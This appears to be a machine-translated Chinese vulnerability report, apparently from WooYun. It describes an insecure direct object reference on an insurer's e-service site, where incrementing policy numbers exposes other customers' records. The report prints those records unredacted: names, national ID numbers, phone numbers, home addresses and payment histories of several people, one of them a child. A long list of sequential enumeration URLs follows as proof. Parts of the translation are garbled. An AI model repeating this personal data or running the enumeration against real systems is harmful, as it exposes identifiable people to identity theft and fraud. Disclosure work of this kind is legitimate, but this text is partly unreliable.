漏洞标题 中国人寿保险站的安全漏洞导致大量用户政策信息泄露（包括保单号/保单持有人/保险/身份证/联系电话/地址） 相关制造商 Hxlife.com 漏洞作者 0x 80 提交时间 2016-05-03 15: 21 公共时间 2016-06-18 08: 10 漏洞类型 敏感信息披露 危险等级 高 自我评估等级 20 漏洞状态 制造商已确认 标签标签 敏感信息泄露，错误消息未被阻止，用户敏感信息泄露。 漏洞详细信息 http://eservice.hxlife.com/Policy/policyContent.do?policyNo=2015137350421088 在这里直接授权访问 政策细节 政策号2015137350421088政策状态有效 主要保险标志主要保险类型保险中国财富第1号两个全保险C（通用，升级版） 保险期限75岁基本保险金额0.00 高级付费23000.00付费期数1 是否自动续订非自动续订 保险信息 保姓名徐元珍性别女 身份证号码居民身份证号码44142719530825032X 出生日期1953-08-25电话号码13431080800 电子邮件邮政编码510600 地址：广州市白云区仁和西园B7栋602室 保险信息 与被保险人的关系被保险人徐元珍的姓名 性别女性出生日期1953-08-25 身份证号码居民身份证号码44142719530825032X 联系电话13431080800电子邮件 邮政编码510600地址：广东省广州市白云区仁和西园B7栋602室 由于ID未加密，因此您可以在分析和修改后查看任何其他人的策略信息。 2015137350521088，ID未加密，依此类推逻辑 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350521088 保险信息 与被保险人的关系我是被保险人王玉泉的名字 性别男性出生日期1954-07-14 身份证号码居民身份证号码41292419540714071X 联系电话13949375962电子邮件 邮政编码473000地址：河南省南阳市卧龙区谢庄乡孙庄村秋树庄22号 保姓名王玉泉性别男 身份证号码居民身份证号码41292419540714071X 出生日期1954-07-14联系电话13949375962 电子邮件邮政编码473000 地址：河南省南阳市卧龙区谢庄乡孙庄村秋树庄22号 政策号2015137350521088政策状态有效 主要保险标志主要保险类型保险中国财富第1号两个全保险C（通用，升级版） 保险期限75岁基本保险金额0.00 高级付费15000.00付费捐款数量1 是否自动续订非自动续订 http://eservice.hxlife.com/Policy/policyContent.do?policyNo=2015137350621088 与被保险人的关系女儿被保险人的姓名 性别女性出生日期2009-07-15 文档类型居民帐户瘦身号码510603200907150989 联系电话电邮 邮政编码618000地址：四川省德阳市榆阳区南滨嘉园A区2-13-1 受益人姓名左元性别女性 文件号510603200907150989文件类型居民帐户 固定电话13981091993出生日期2009-07-15 保险名称华夏金管家年金保险（环球，C）主要和辅助保险标志1 付款方式第一种付款方式银行转帐 应付金额0.00实际支付金额0.00 支付的保费数量1支付的总保费10000.00 下一个付款日期下一个付款金额0.00 截止日期2015-11-20实际交付日期20151120 保险名称华夏金管家年金保险（环球，C）主要和辅助保险标志1 付款方式第一种付款方式银行转帐 应付金额0.00实际支付金额0.00 支付的保费数量1支付的总保费10000.00 下一个付款日期下一个付款金额0.00 截止日期2015-11-20实际交付日期20151120 保险名称华夏金管家年金保险（环球，C）主要和辅助保险标志1 付款方式第一种付款方式银行转帐 应付金额0.00实际支付金额0.00 支付的保费数量1支付的保费总额15000.00 下次付款日期2016-11-21下次付款金额15000.00 截止日期2015-11-20实际交付日期20151120 保险名称华夏金管家年金保险（环球，C）主要和辅助保险标志1 付款方式第一种付款方式银行转帐 应付金额0.00实际支付金额0.00 支付的保费数量1支付的保费总额15000.00 下次付款日期2016-11-21下次付款金额15000.00 截止日期2015-11-20实际交付日期20151120 2015-11-21 0首次付款0.00 0.00 0.00 2015-11-21 0生存金转移至4140.00 0.00 4140.00 2015-12-01 0.068结算利息7.47 0.00 4147.47 2016-01-01 0.068结算利息23.24 0.00 4170.71 2016-01-06 0额外保费10000.00 0.00 14170.71 2016-02-01 0.068结算利息70.15 0.00 14240.86 2016-03-01 0.068结算利息74.43 0.00 14315.29 2016-04-01 0.068结算利息79.99 0.00 14395.28 http://eservice.hxlife.com/Policy/appntQuery.do?policyNo=2015137350622088 被保险人姓名谭国良性别男 文件类型居民身份证号码440111195312073612 出生日期1953-12-07联系电话13433995699 电子邮件邮政编码510286 地址：广东省广州市海珠区图华蔚县左一巷19号 与被保险人的关系被保险人姓名谭国良 性别男性出生日期1953-12-07 文件类型居民身份证号码440111195312073612 联系电话13433995699电子邮件 邮政编码510286地址：广东省广州市海珠区图华蔚县左翼巷19号 受益人姓名谭国良性别男 身份证号码440111195312073612文件类型居民身份证 固定电话13433995699出生日期1953-12-07 http://eservice.hxlife.com/Policy/shouyimanQuery.do?policyNo=2015137350623088 保姓名李景民性别男 文件类型居民身份证号码440111194707063617 出生日期1947-07-06联系电话13622840945 电子邮件邮政编码510320 地址：广东省广州市海珠区汕头市启明房6巷5号 与被保险人的关系被保险人姓名李敬民 性别男性出生日期1947-07-06 文件类型居民身份证号码440111194707063617 联系电话13622840945电子邮件 邮政编码510320地址：广东省广州市海珠区汕头市启明房6巷5号 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624088 政策号2015137350624088政策状态有效 主要保险标志主要保险类型保险中国财富第1号两个全保险C（通用，升级版） 保险期限75岁基本保险金额0.00 期间保费200000.00支付期数1 是否自动续订非自动续订 保姓名李国辉性别男 身份证类型居民身份证号码440111195406303618 出生日期1954-06-30联系电话13922490868 电子邮件邮政编码510300 联系地址广东省广州市海珠区怡景翠园玉井轩B座2303 与被保险人的关系被保险人姓名李国辉 性别男性出生日期1954-06-30 身份证类型居民身份证号码440111195406303618 联系电话13922490868电子邮件 邮政编码510300地址中国广东省广州市海珠区怡景翠园玉井轩B座2303室 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624+1逻辑查询数以万计的用户订单088 漏洞证明： http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350624+1逻辑查询数以万计的用户订单088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350625088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350626088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350627088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350628088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350629088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350630088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350631088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350632088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350633088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350634088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350635088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350636088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350637088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350638088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350639088 http://eservice.hxlife.com/Policy/passiveQuery.do?policyNo=2015137350640088 修理计划： 版权声明：请注明来源0x 80 @乌云